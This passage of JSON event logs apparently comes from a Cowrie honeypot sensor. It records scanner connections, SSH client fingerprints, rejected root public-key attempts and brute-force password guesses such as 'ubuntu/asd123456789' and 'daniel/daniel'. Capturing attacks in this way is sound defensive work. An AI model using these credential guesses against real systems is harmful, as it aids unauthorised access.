sa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.946108Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:3a:92:76:cd:00:c4:55:a0:1b:92:e6:b8:16:41:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ3NatTTNsCiOkK9vf5x4QO5a+pjIa/iz0JzvJBAP8/1Ah2CzxQqaTxJw92EZS0zXQSNWtkcAPuX/4KCkIUkITqg6x/VShAwAEyER/LRorjY75p+xQafnjbiHmDib3VwQT1voPjIcWgWo34s1RGx9XCc4UjBfDHOSKk+Hzy1xOYyiUFoc3QCK+ImNyLRvlbrNZ+3SJL/jCDrE0VELbqGFtRgH2UHReTT+k6V9hVPediYtyiVodcGIk8chYPP7KtRPmidgrkpZCkPuiAOUsDh7nM/9Ty9tFjpz98mzim6HpoEkYyjrG1RRwYVLs8xkTv3T8B2hgYkX8aDtR7zbqmybCAomUxYfHhyRi4eSR5GuhiFZdTD2L1hX8h+QLhK1ZLS++WUpjYBDeB+N/tKl1X5zRvFH1O/KdOpYryjaco0yMk6HJiYfCwCE053FH/ULLjf5UsNuFjZpWFlSURLH8H1vE5uDE4k2iRkNSHpYBIIdp192qxvaP8LvNrvmGhdrJ7qYkK8PFhWKctoQoq5RLQ6XPCR0f6kmI0oeWK9QOwHSgZg5/0toULaelfYPoJmWXyPnOX5GdqMN7DFZIfgV90bhoKHeg3Hj3grUjEe2jI4d/j7LbmbAtnMbPAG8tPrvlowSN0tXagYDD1en9IDftvTiDuyjWXBW0JfkuR9vggWk87w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:3a:92:76:cd:00:c4:55:a0:1b:92:e6:b8:16:41:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.362757Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:3a:92:76:cd:00:c4:55:a0:1b:92:e6:b8:16:41:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ3NatTTNsCiOkK9vf5x4QO5a+pjIa/iz0JzvJBAP8/1Ah2CzxQqaTxJw92EZS0zXQSNWtkcAPuX/4KCkIUkITqg6x/VShAwAEyER/LRorjY75p+xQafnjbiHmDib3VwQT1voPjIcWgWo34s1RGx9XCc4UjBfDHOSKk+Hzy1xOYyiUFoc3QCK+ImNyLRvlbrNZ+3SJL/jCDrE0VELbqGFtRgH2UHReTT+k6V9hVPediYtyiVodcGIk8chYPP7KtRPmidgrkpZCkPuiAOUsDh7nM/9Ty9tFjpz98mzim6HpoEkYyjrG1RRwYVLs8xkTv3T8B2hgYkX8aDtR7zbqmybCAomUxYfHhyRi4eSR5GuhiFZdTD2L1hX8h+QLhK1ZLS++WUpjYBDeB+N/tKl1X5zRvFH1O/KdOpYryjaco0yMk6HJiYfCwCE053FH/ULLjf5UsNuFjZpWFlSURLH8H1vE5uDE4k2iRkNSHpYBIIdp192qxvaP8LvNrvmGhdrJ7qYkK8PFhWKctoQoq5RLQ6XPCR0f6kmI0oeWK9QOwHSgZg5/0toULaelfYPoJmWXyPnOX5GdqMN7DFZIfgV90bhoKHeg3Hj3grUjEe2jI4d/j7LbmbAtnMbPAG8tPrvlowSN0tXagYDD1en9IDftvTiDuyjWXBW0JfkuR9vggWk87w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.365832Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:22:11:ef:f1:4f:ae:7f:64:c1:b0:b8:3c:76:22:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN3kgXWyT3+tt73zEtLVHp4StRVYgSNbYor/LDcr/LE+P1fBXPWXXaB1sht8d6Ax0NMnNYl+OZe1LGyWMFChQdGWxKJLcscTCVdxgP8/pvnVC94g3vpsu3umlDnih/vWUtC+cGB7aUcm1C40IUvoND1dvCzIVqO7ehyTa7YCs7B+1OkmGpjLvgo1JAJoepRQu/R43ux07aUezgz30b4E1NK6gbqBqkD9qXdGQ7zj9z/tuDhEmYNSl2BAj/W0m1X6DA7ZIWY/RqNuacHjlYM4zjjIfuWyAqCPlYgpPbNL+SxDlYYBIP7zKpkQp39f7e1IEGON8RtRZM453vqcmuIZU9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:22:11:ef:f1:4f:ae:7f:64:c1:b0:b8:3c:76:22:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.453199Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:22:11:ef:f1:4f:ae:7f:64:c1:b0:b8:3c:76:22:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN3kgXWyT3+tt73zEtLVHp4StRVYgSNbYor/LDcr/LE+P1fBXPWXXaB1sht8d6Ax0NMnNYl+OZe1LGyWMFChQdGWxKJLcscTCVdxgP8/pvnVC94g3vpsu3umlDnih/vWUtC+cGB7aUcm1C40IUvoND1dvCzIVqO7ehyTa7YCs7B+1OkmGpjLvgo1JAJoepRQu/R43ux07aUezgz30b4E1NK6gbqBqkD9qXdGQ7zj9z/tuDhEmYNSl2BAj/W0m1X6DA7ZIWY/RqNuacHjlYM4zjjIfuWyAqCPlYgpPbNL+SxDlYYBIP7zKpkQp39f7e1IEGON8RtRZM453vqcmuIZU9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.456586Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:56:2e:a9:8c:ce:f4:12:22:6a:a3:21:c5:07:94:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC7GYbgihOgo6OkYtlcKFUzjPNH0EC8wF+gvbf+dhNm1Gw3o3spJi9imuB8v41jd99QUPJHyc9L82U43gXJGY4LvDINr4YNGpgsLZG3Vx1PwWem1Mq9wwZ71/HScKvpISuZT6bNHytDeurehy0bj2r1ynm0sPyoXAhHryrW2bvmXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:56:2e:a9:8c:ce:f4:12:22:6a:a3:21:c5:07:94:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.545633Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:56:2e:a9:8c:ce:f4:12:22:6a:a3:21:c5:07:94:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC7GYbgihOgo6OkYtlcKFUzjPNH0EC8wF+gvbf+dhNm1Gw3o3spJi9imuB8v41jd99QUPJHyc9L82U43gXJGY4LvDINr4YNGpgsLZG3Vx1PwWem1Mq9wwZ71/HScKvpISuZT6bNHytDeurehy0bj2r1ynm0sPyoXAhHryrW2bvmXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.549008Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:3d:87:d9:49:d8:4b:7f:06:20:30:b5:54:b8:01:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVMPSlpcTP3c7aivKAtHXO+e2mgXdMJrP0HDu6a88dASgfFp5vCQYlB4NLCU4i241Kpk/E1o7n5dFc4YBbRzzASBm3q5LunhxWDG1uK/VoyTIeZYQpGT82IyZbW+HfvZriCAa0WTakQSKtE1TZDgLx3x8vxxk8CENjtPGCIMVIvjKPE5w0EafD7lmUoHXe4QPTkd/k8vWvad8XuwrjivwAbCXeeSSv+qouldkoNt1IU3asnEP2AVaV1HfXKr51pujYRmNbkArfeq2Ffb7uInecf9sFDgrV+ibZGHoLMmMVhdqtUypO8eXyJUNoGnDBDiPijADfMknYFhIeAyZlZPV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:3d:87:d9:49:d8:4b:7f:06:20:30:b5:54:b8:01:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.640350Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:3d:87:d9:49:d8:4b:7f:06:20:30:b5:54:b8:01:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVMPSlpcTP3c7aivKAtHXO+e2mgXdMJrP0HDu6a88dASgfFp5vCQYlB4NLCU4i241Kpk/E1o7n5dFc4YBbRzzASBm3q5LunhxWDG1uK/VoyTIeZYQpGT82IyZbW+HfvZriCAa0WTakQSKtE1TZDgLx3x8vxxk8CENjtPGCIMVIvjKPE5w0EafD7lmUoHXe4QPTkd/k8vWvad8XuwrjivwAbCXeeSSv+qouldkoNt1IU3asnEP2AVaV1HfXKr51pujYRmNbkArfeq2Ffb7uInecf9sFDgrV+ibZGHoLMmMVhdqtUypO8eXyJUNoGnDBDiPijADfMknYFhIeAyZlZPV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.643960Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:1b:f8:0d:d8:c5:4b:b7:da:3a:3b:43:13:3f:ea:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn7Kk351whKeT6rpqAV9f0sbnARX0hIp3Z2Pm4IW2avzhrWS5cn/oY/z7lkofZ9UM4m22L1lqMDi0is1SrvHJIS+hby9/qRfouIqAfjhkUHs9YtHkBaoTVjd52QUvgH7qxAr5ay1GPpy0x/I6YRaTSzNxFapd9KgvvV+YRqrg6ytR2SwKlo8Hb/EEWNoxdvDAFiD+B5n5lmtxdidP+1aIkKLORHo0uipvsJ++qgTfYuW9M/LMXwswR6OuFc7GYm86R95T0wIggY2wZA+g36toplP7B+7M6Whtk0nXrnyaPIiolBhV7acPzw0+2UUJTuLL9cN+1fktjj/NCxQqUEzhbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:1b:f8:0d:d8:c5:4b:b7:da:3a:3b:43:13:3f:ea:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.731889Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:1b:f8:0d:d8:c5:4b:b7:da:3a:3b:43:13:3f:ea:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn7Kk351whKeT6rpqAV9f0sbnARX0hIp3Z2Pm4IW2avzhrWS5cn/oY/z7lkofZ9UM4m22L1lqMDi0is1SrvHJIS+hby9/qRfouIqAfjhkUHs9YtHkBaoTVjd52QUvgH7qxAr5ay1GPpy0x/I6YRaTSzNxFapd9KgvvV+YRqrg6ytR2SwKlo8Hb/EEWNoxdvDAFiD+B5n5lmtxdidP+1aIkKLORHo0uipvsJ++qgTfYuW9M/LMXwswR6OuFc7GYm86R95T0wIggY2wZA+g36toplP7B+7M6Whtk0nXrnyaPIiolBhV7acPzw0+2UUJTuLL9cN+1fktjj/NCxQqUEzhbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.735437Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35540,"dst_ip":"159.203.135.109","dst_port":23,"session":"204b919047c4","protocol":"telnet","message":"New connection: 38.60.198.128:35540 (159.203.135.109:23) [session: 204b919047c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.756778Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.825383Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:41.955818Z","src_ip":"176.65.132.129","session":"7d3df8c5e0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f1c91935c8","protocol":"telnet","message":"New connection: 38.60.198.128:38032 (159.203.135.109:23) [session: 17f1c91935c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:43.439685Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46094,"dst_ip":"10.17.0.5","dst_port":22,"session":"138b795bfe13","protocol":"ssh","message":"New connection: 176.65.132.129:46094 (10.17.0.5:22) [session: 138b795bfe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:43.763413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:43.767670Z","src_ip":"176.65.132.129","session":"138b795bfe13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:43.852898Z","src_ip":"176.65.132.129","session":"138b795bfe13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:44.097605Z","src_ip":"176.65.132.129","session":"138b795bfe13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:45.182335Z","src_ip":"176.65.132.129","session":"138b795bfe13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99a07846a6d","protocol":"telnet","message":"New connection: 38.54.119.93:57558 (10.17.0.5:23) [session: d99a07846a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:45.943097Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"0098e259e58d","protocol":"ssh","message":"New connection: 199.195.254.215:41386 (10.17.0.5:22) [session: 0098e259e58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:46.189343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:46.199564Z","src_ip":"199.195.254.215","session":"0098e259e58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:46.205439Z","src_ip":"199.195.254.215","session":"0098e259e58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123456789","message":"login attempt [ubuntu/asd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:46.250328Z","src_ip":"199.195.254.215","session":"0098e259e58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:47.273216Z","src_ip":"199.195.254.215","session":"0098e259e58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60004,"dst_ip":"10.17.0.5","dst_port":22,"session":"14067820a27d","protocol":"ssh","message":"New connection: 176.65.132.129:60004 (10.17.0.5:22) [session: 14067820a27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:47.326654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:47.331123Z","src_ip":"176.65.132.129","session":"14067820a27d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:47.438065Z","src_ip":"176.65.132.129","session":"14067820a27d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:47.685930Z","src_ip":"176.65.132.129","session":"14067820a27d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":44892,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b02929225b2","protocol":"telnet","message":"New connection: 192.211.53.160:44892 (159.203.135.109:23) [session: 6b02929225b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:48.811397Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:48.914550Z","src_ip":"176.65.132.129","session":"14067820a27d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":44966,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b17ced39603","protocol":"telnet","message":"New connection: 192.211.53.160:44966 (159.203.135.109:23) [session: 1b17ced39603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:49.226523Z"}
{"eventid":"cowrie.session.closed","duration":41.701515197753906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:49.532116Z","src_ip":"38.60.198.128","session":"277edb780973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20273a3ca78","protocol":"ssh","message":"New connection: 176.65.132.129:60006 (10.17.0.5:22) [session: b20273a3ca78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:50.681988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:50.686148Z","src_ip":"176.65.132.129","session":"b20273a3ca78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:50.768321Z","src_ip":"176.65.132.129","session":"b20273a3ca78","protocol":"ssh"}
